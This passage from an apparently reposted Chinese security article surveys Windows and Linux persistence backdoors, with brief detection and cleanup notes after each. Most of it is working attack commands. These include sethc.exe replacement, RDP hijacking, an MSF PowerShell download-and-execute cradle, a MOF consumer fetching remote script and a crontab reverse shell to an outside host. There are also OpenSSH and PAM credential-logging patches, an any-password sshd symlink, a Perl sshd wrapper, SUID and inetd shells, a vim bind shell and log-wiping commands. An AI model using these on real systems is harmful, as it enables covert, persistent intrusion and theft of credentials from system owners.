# 编译成calc.dll,重命名为calc.wll,保存在路径:C:UsersAdministratorAppDataRoamingMicrosoftWordStartup(Startup路径可保存多个wll,支持启动多个wll),启动Word.exe,弹出计算器,并且word正常启动powershell下wll路径$env:APPDATA+"MicrosoftWordStartupcalc.wll"将编译好的calc.dll作base64加密并存储于变量中PowerShell> $fileContent = [System.IO.File]::ReadAllBytes('calc.dll')PowerShell> $fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcdllbase64.txt") 用变量$fileContent存储base64加密的calc.dllPowerShell> $fileContent = "$fileContentEncoded_payload"base64解密并释放calc.wll至Startup路径的代码如下:PowerShell> $fileContentBytes = [System.Convert]::FromBase64String($fileContent) [System.IO.File]::WriteAllBytes($env:APPDATA+"MicrosoftWordStartupcalc.wll",$fileContentBytes)

具体参考:https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/
其他POC:https://github.com/3gstudent/Office-Persistence

检测及查杀

禁用所有加载项禁用所有控件禁用所有宏删除信任位置:C:UsersaAppDataRoamingMicrosoftWordStartup

(8)shift后门

通过远程桌面连接到Windows后,在没有输入用户名和密码前,连接按5次Shift键,可以调用c:windowssystem32sethc.exe,所以需要把c:windowssystem32sethc.exe替换成其他的执行程序即可执行该程序。

copy c:windowssystem32cmd.exe c:windowssystem32sethc.exe /ycopy c:windowssystem32sethc.exe c:windowssystem32dllcachesethc.exe /yattrib c:windowssystem32sethc.exe +hattrib c:windowssystem32dllcachesethc.exe +h# attrib +h是添加隐藏属性

在windows xp过后,sethc组件属于完全受信用的用户TrustInstall,我们无法修改名字,这时候即使administrators都只有名义上的只读和可执行权,我们可以手动修改其所属为administrators。

也可以使用命令,比如:使用MSSQL的xp_cmdshell

exec xp_cmdshell 'takeown /f c:windowssystem32sethc.* /a /r /d y'# 将所有者更改为管理员组(administrators)exec xp_cmdshell 'cacls c:windowssystem32sethc.exe /T /E /G system:F'# 赋予system完全控制权限exec xp_cmdshell 'copy c:windowssystem32cmd.exe c:windowssystem32sethc.exe /y'# 替换文件为cmd.exe

检测及查杀

  • 检测c:windowssystem32sethc.exe文件大小、时间

  • 连按5次shift键

(9)RDP会话劫持

RDP劫持简单的说就是在不知道另一账户密码的情况下直接切换到该用户会话下。

query    user        # 查看服务器用户会话信息sc create sesshijack # 创建一个sesshijack服务net start sesshijack # 开启服务query usersc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"# rdp-tcp#4为正在活动中的其他会话net start sesshijack

无凭据时的会话劫持技巧是Benjamin Delpy(Mimikatz作者)在2011年提到的,所以Mimikatz模块也集成了此项功能

mimikatz.exemimikatz # ts::sessionsmimikatz # ts::remote /id:4 (4表示会话ID)mimikatz # privilege::debugmimikatz # ts::remote /id:4

检测及查杀

  • 使用可以记录这种攻击的工具,比如:Microsoft OMS, Windows Event Forwarding

  • 查找Mimikatz的相关依赖

  • 使用组策略来注销已断开的会话或者空闲的用户会话

(10)shim

参考:渗透测试中的Application Compatibility Shims

6、PowerShell后门

(1)Empire框架

  • https://github.com/EmpireProject/Empire

(2)Schtasks-Backdoor

  • https://github.com/re4lity/Schtasks-Backdoor

(3)MSF

msf> use exploit/multi/script/web_deliveryset payload windows/meterpreter/reverse_tcpset LHOST 192.168.2.11set target 2runPAYLOAD:powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $w.downloadstring('http://192.168.2.11:8080/kaMhC1');

(4)MOF

  • Powershell之MOF后门

  • https://wooyun.js.org/drops/Powershell%E4%B9%8BMOF%E5%90

pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter{EventNamespace = "Root\Cimv2";Name = "filtP1";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa "Win32_LocalTime" ""And TargetInstance.Second = 1";QueryLanguage = "WQL";}; instance of ActiveScriptEventConsumer as $Consumer{Name = "consP1";ScriptingEngine = "JScript";ScriptText = "GetObject("script:https://host.com/test")";}; instance of __FilterToConsumerBinding{Consumer = $Consumer;Filter = $EventFilter;};

管理员执行:

mofcomp test.mof

7、其他

(1)Services

创建服务

sc create [ServerName] binPath= BinaryPathName

(2)快捷方式后门

替换我的电脑快捷方式启动参数
https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1

(3)利用BHO实现IE浏览器劫持

参考:利用BHO实现IE浏览器劫持

(4).NET后渗透下的权限维持

  • https://github.com/Ivan1ee/NetDLLSpy

二、Linux

1、crontab

每60分钟反弹一次shell给dns.wuyun.org的53端口

#!bash(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;rno crontab for `whoami`%100cn")|crontab -

2、预加载型动态链接库后门

linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。这就是为什么在watchdogs挖矿木马中使用top、ps等命令无法发现挖矿进程的原因,这种后门推荐使用静态编译的ls、ps等命令或者busybox进行查找。

(1)利用LD_PRELOAD

可参考:

  • LINUX LD_PRELOAD提权

  • 使用LD_Preload的Linux权限升级技巧

检测

echo $LD_PRELOAD#默认无输出,如果有输出就需要去看下文件是否为异常文件了

清除

unset LD_PRELOAD#使用命令unset LD_PRELOAD即可卸载使用LD_PRELOAD环境变量安装的恶意动态链接库


(2)利用/etc/ld.so.preload

检测

1、文件完整性检测修改了默认的动态链接库后文件完整性发生变化,可以使用rpm等来校验首先获取系统中的动态链接器的文件路径(interp段指定了动态链接器的位置)readelf -a /bin/ps | grep interpreter然后判断该动态链接器文件的完整性busybox ls -al /usr/local/lib/libioset.sorpm -Vf /usr/local/lib/libioset.so2、使用stracestrace可以跟踪一个进程执行时所产生的系统调用,包括参数,返回值,执行消耗的时间和所接收的信号strace -f -e trace=file /bin/ps-f 表示同时跟踪fork和vfork出来的进程-e trace=file 表示只跟踪有关文件操作的系统调用

清除

清除调用的对应恶意文件即可


3、strace后门

使用strace检测预加载型动态链接库后门,它可以跟踪任何进程的系统调用和数据,所以strace同样可以作为后门,比如用来记录ssh,su,sudo的数据。

首先找到sshd的进程PID

ps -ef | grep sshd #父进程PID

然后写入文件

strace -f -p 2908 -o /tmp/.ssh.log -e trace=read,write -s 2048

同样的,可以通过配置用户目录下.login配置获取ssh明文密码

#vim /etc/bashrcalias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'#su,sudo同样的道理

检测

查看shell的配置文件或者alias命令即可发现,例如~/.bashrc或~/.zshrc文件查看是否有恶意的alias

4、 SSH 后门

(1)OpenSSH后门

通过在openssh源码中插入恶意代码并进行重新编译来替换原有sshd文件。插入的恶意代码可以是将登录成功的用户密码发送到远程服务器或者记录到某个log文件中。在openssh目录中找到includes.h文件。

#vim includes.hint secret_ok;FILE *f;#define ILOG "/tmp/.ilog"       #记录登录到本机的用户名和密码#define OLOG "/tmp/.olog"       #记录本机登录到远程的用户名和密码#define SECRETPW "secpulse.com" #为自己的登录密码#endif /* INCLUDES_H */
#编译,重启服务yum install -y openssl openssl-devel pam-devel zlib zlib-devel./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5make cleanmake && make installsystemctl restart sshd.service

PS: 如果记录日志放在web下,记得清理掉访问日志。

export HISTFILE=/dev/nullexport HISTFILESIZE=0sed -i '/192.168.2.11/d' /etc/httpd/logs/access_log*sed -i '/192.168.2.11/d' /root/.bash_historyecho > /root/.bash_history

检测

1、查看Openssh版本ssh -V2、查看ssh配置文件和/usr/sbin/sshd的时间stat /usr/sbin/sshd#时间和版本都是可以修改的,所以不靠谱3、查看日志more /var/log/secure | grep "Accepted" | awk '{print $11}' | uniq4、通过strace监控sshd进程读写文件的操作ps axu | grep sshd | grep -v grep #sshd父进程IDstrace -o sshd -ff -p 2908grep open sshd* | grep -v -e No -e null -e denied| grep WR5、一般的openssh后门都会将账户密码记录到文件或者发送到邮箱中strings /usr/sbin/sshd |grep '[1-9]{1,3}.[1-9]{1,3}.'strings /usr/sbin/sshd |grep '@'

清除

重装或者更新到最新版本修改文件并重新编译

(2)sshd软链接后门

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名(如: /tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。

1、服务端执行

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12345ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12345


2、客户端执行

ssh root@x.x.x.x -p 12345#输入任意密码就可以root用户权限登陆了,如果root用户被禁止登陆时,可以利用其他存在的用户身份登陆,比如:ubuntu


检测

1、查看可疑端口netstat -antlp2、查看可执行文件ls -al /tmp/su


清除

1、禁止PAM认证vim /etc/ssh/sshd_configUsePAM no2、重载/etc/init.d/sshd reload


(3)wrapper后门

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

服务端执行:

cd /usr/sbinmv sshd ../binecho '#!/usr/bin/perl' > sshdecho 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshdecho 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd/etc/init.d/sshd restart


客户端执行:

socat STDIO TCP4:192.168.2.11:22,souceport=19526#其中x00x00LF是19526的大端形式,便于传输和处理。如果你想修改源端口,可以用python的struct标准库实现>>> import struct>>> buffer = struct.pack('>I6',19526)>>> print repr(buffer)'x00x00LF'>>> buffer = struct.pack('>I6',13377)>>> print buffer4A

检测

检查网络链接情况及文件cat /usr/sbin/sshd

清除

rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;

(4)keylogger

vim当前用户下的.bashrc文件,末尾添加

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'


然后更新

source .bashrc

5、 SUID后门

当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。必要条件:

  • SUID权限仅对二进制程序有效。

  • 执行者对于该程序需要具有x的可执行权限
    -本权限仅在执行该程序的过程中有效

  • 在执行过程中执行者将具有该程序拥有者的权限

可以利用webshell进行利用

#vim suid.c#include<stdlib.h>main () {setuid(0);system("/bin/bash");}编译成二进制文件gcc suid.c -o suidshell赋予suid权限chmod 4755 suidshellchmod u+s suidshell假设webshell权限较低,希望使用suid shell执行root命令,通过web的方式调用http://localhost/suid.php?path=/tmp/suidshell&cmd=id即可以root的权限执行命令id


检测

查找具有suid权限的文件即可find / -perm +4000 -lsfind / -perm -u=s -type f 2>/dev/null

清除

清除文件即可

6、inetd服务后门

inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,其实有很多比较古老的服务都是基于此守护进程的。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。

#修改/etc/inetd.conf#discard stream tcp nowait root internal #discard dgram udp wait root internal daytime stream tcp nowait root /bin/bash bash -i开启inetd:inetd#nc连接nc -vv 192.168.2.11 13#可以配合suid后门#比如,修改/etc/services文件:suidshell 6666/tcp#然后修改/etc/inetd.confsuidshell stream tcp nowait root /bin/bash bash -i#可以修改成一些常见的端口,以实现隐藏

检测

查看配置文件即可/etc/inetd.conf 

清除

关闭服务删除配置文件

7、vim后门

适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。

cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"/dev/null 2>&1 &) && sleep 2 && rm -f dir.py


具体详情请参考:Weapons of Text Destruction

#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.htmlfrom socket import *import subprocessimport os, threading, sys, timeif __name__ == "__main__":        server=socket(AF_INET,SOCK_STREAM)        server.bind(('0.0.0.0',11))        server.listen(5)        print 'waiting for connect'        talk, addr = server.accept()        print 'connect from',addr        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,                stdout=talk, stderr=talk, shell=True)

检测

由于是通过vim执行的,所以使用ps和netstat仍可以看到vim的相关进程netstat -antlp | grep vimmore /proc/PID/cmdlinemore /proc/PID/maps | grep python

清除

#清除进程即可netstat -antlp | awk '{print $7}' | grep vim | awk -F/ '{print $1}' | xargs kill -9 


8、PAM后门

PAM使用配置 /etc/pam.d/下的文件来管理认证方式,应用程序调用相应的配置文件,以加载动态库的形式调用 /lib/security下的模块。PAM配置可分为四个参数: 模块类型、控制标记、模块路径、模块参数,例如: session required pam_selinux.so open

上面提到的sshd软链接后门利用的PAM机制达到任意密码登录,还有一种方式是键盘记录。原理主要是通过pam_unix_auth.c打补丁的方式潜入到正常的pam模块中,以此来记录管理员的帐号密码。

利用步骤:

复制patch到源代码目录 >>> 打patch >>> 编译 >>> 将生成的pam_uninx.so文件覆盖到/lib/secruity/pam_unix.so下 >>> 修改文件属性 >>> 建立密码保存文件,并设置好相关的权限 >>> 清理日志 >>> ok
#确保ssh开启pam支持vim /etc/ssh/sshd_configUsePAM yes#自动化脚本https://github.com/litsand/shell/blob/master/pam.sh


检测

1、通过Strace跟踪sshps axu | grep sshdstrace -o aa -ff -p PIDgrep open aa* | grep -v -e No -e null -e denied| grep WR2、检查pam_unix.so的修改时间stat /lib/security/pam_unix.so      #32位stat /lib64/security/pam_unix.so    #64位

清除

yum reinstall pam

9、 进程注入

从技术上说,获取其它的进程并修改它一般是通过操作系统提供的调试接口来实现的,在linux中具有调试功能的工具有ptrace、Gdb、radare2、strace等,这些工具都是使用ptrace这个系统调用来提供服务的。ptrace系统调用允许一个进程去调试另外一个进程。

可参考:

  • linux进程注入

  • linux一种无文件后门技巧

GitHub存在大量开源工具,比如: linux-inject,主要原理是使用ptrace向进程中注入恶意so文件

#./inject [-n process-name] [-p pid] [library-to-inject]./inject -n sample-target sample-library.so

10、Rootkit

rootkit分为内核级和应用级两种:

  • 内核级的rootkit很多,比如:Diamorphine

  • 应用级的rootkit也很多,比如:Mafix

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。应用级rookit,主要替换ls、ps、netstat命令来隐藏文件(利用/proc?)

检测

使用相关检测工具,比如:unhide

11、一些工具

  • https://github.com/Screetsec/Vegile

  • https://github.com/icco/backdoor

结语

后门和权限维持的一些方法





红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。


原文始发于微信公众号(红客突击队):权限维持方法小结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月28日22:57:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   权限维持方法小结https://cn-sec.com/archives/1208025.html

发表评论

匿名网友 填写信息